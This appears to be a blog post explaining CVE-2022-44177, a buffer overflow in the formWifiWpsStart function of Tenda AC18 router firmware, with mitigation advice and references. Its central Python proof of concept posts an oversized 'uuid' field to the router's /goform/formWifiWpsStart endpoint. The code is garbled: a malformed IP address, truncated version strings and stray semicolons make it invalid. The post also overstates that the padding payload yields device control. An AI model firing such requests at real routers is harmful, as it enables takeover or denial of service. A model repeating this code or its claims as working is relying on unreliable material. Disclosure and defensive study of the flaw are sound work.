CVE-2022-44177: The Exploitation of Tenda AC18 V15.03.05.19 Buffer Overflow via function formWifiWpsStart in Simple American Language

In recent times, cybersecurity has been at the top of concerns for individuals, organizations, and governments across the world. One of the reasons behind these concerns is the presence of vulnerabilities in various devices and services. CVE-2022-44177 is one such vulnerability that has been identified in Tenda AC18 V15.03.05.19, which is a popular smart router. The exploitation of this vulnerability can lead to buffer overflow attacks, resulting in a serious impact on the security and privacy of users.

In this post, we will explore the CVE-2022-44177 vulnerability and discuss in detail the manner through which an attacker can exploit it. We will provide code snippets, link original references, and describe the exploit details in simple American language.

Vulnerability Details

CVE-2022-44177 is a critical vulnerability affecting the Tenda AC18 V15.03.05.19 Smart Router. The vulnerability exists in the 'formWifiWpsStart' function in the router's firmware. Attackers can exploit this vulnerability to perform buffer overflow attacks, enabling them to execute arbitrary code on the device remotely or cause a denial of service (DoS) situation.

The Exploit

To exploit the CVE-2022-44177 vulnerability, an attacker can send a specially crafted HTTP POST request to the vulnerable 'formWifiWpsStart' function. The HTTP POST request can be created using various programming languages such as Python, Perl, or Ruby.

Here's a code snippet showcasing how to build an exploit using Python

import requests

TARGET_IP = '192.168..1' # Replace with the IP address of the target Tenda AC18 router

headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'Referer': 'http://'; + TARGET_IP + '/index.html',
    'User-Agent': 'Mozilla/5. (Windows NT 10.; WOW64; Trident/7.; AS; rv:11.) like Gecko'
}

# Create the malicious payload
payload = 'A' * 512 # Replace with an appropriate buffer overflow payload based on your testing

data = {
    'operation': 'write',
    'uuid': payload
}

url = f'http://{TARGET_IP}/goform/formWifiWpsStart';
response = requests.post(url, headers=headers, data=data)

if response.status_code == 200:
    print('Exploit successfully sent!')
else:
    print('Failed to send exploit')

Once the exploit is executed, it should trigger a buffer overflow in the target Tenda AC18 router, allowing the attacker to gain control over the device.

Mitigation

To prevent exploitation of the CVE-2022-44177 vulnerability, it is crucial to update the firmware of the affected Tenda AC18 router to the latest version. The manufacturer has released a patch to fix the issue in the form of a firmware update. Users can download the latest firmware from the official Tenda website and follow the provided instructions to update their routers.

Original References

1. National Vulnerability Database - https://nvd.nist.gov/vuln/detail/CVE-2022-44177
2. Tenable Advisory - https://www.tenable.com/security/research/tra-2022-40
3. Tenda AC18 Firmware download page - https://www.tendacn.com/en/download/detail-3175.html

Conclusion

CVE-2022-44177 is a serious vulnerability affecting Tenda AC18 V15.03.05.19 smart routers. The exploitation of this vulnerability can trigger buffer overflow attacks that can help attackers to remotely execute arbitrary code or create a denial of service situation. It's crucial to apply the latest firmware update in order to minimize the risk of being targeted by such attacks. Always remember that staying up-to-date with patches and maintaining proper security hygiene is essential to keep your devices safe from cyber threats.

Timeline

Published on: 11/21/2022 18:15:00 UTC
Last modified on: 11/28/2022 13:48:00 UTC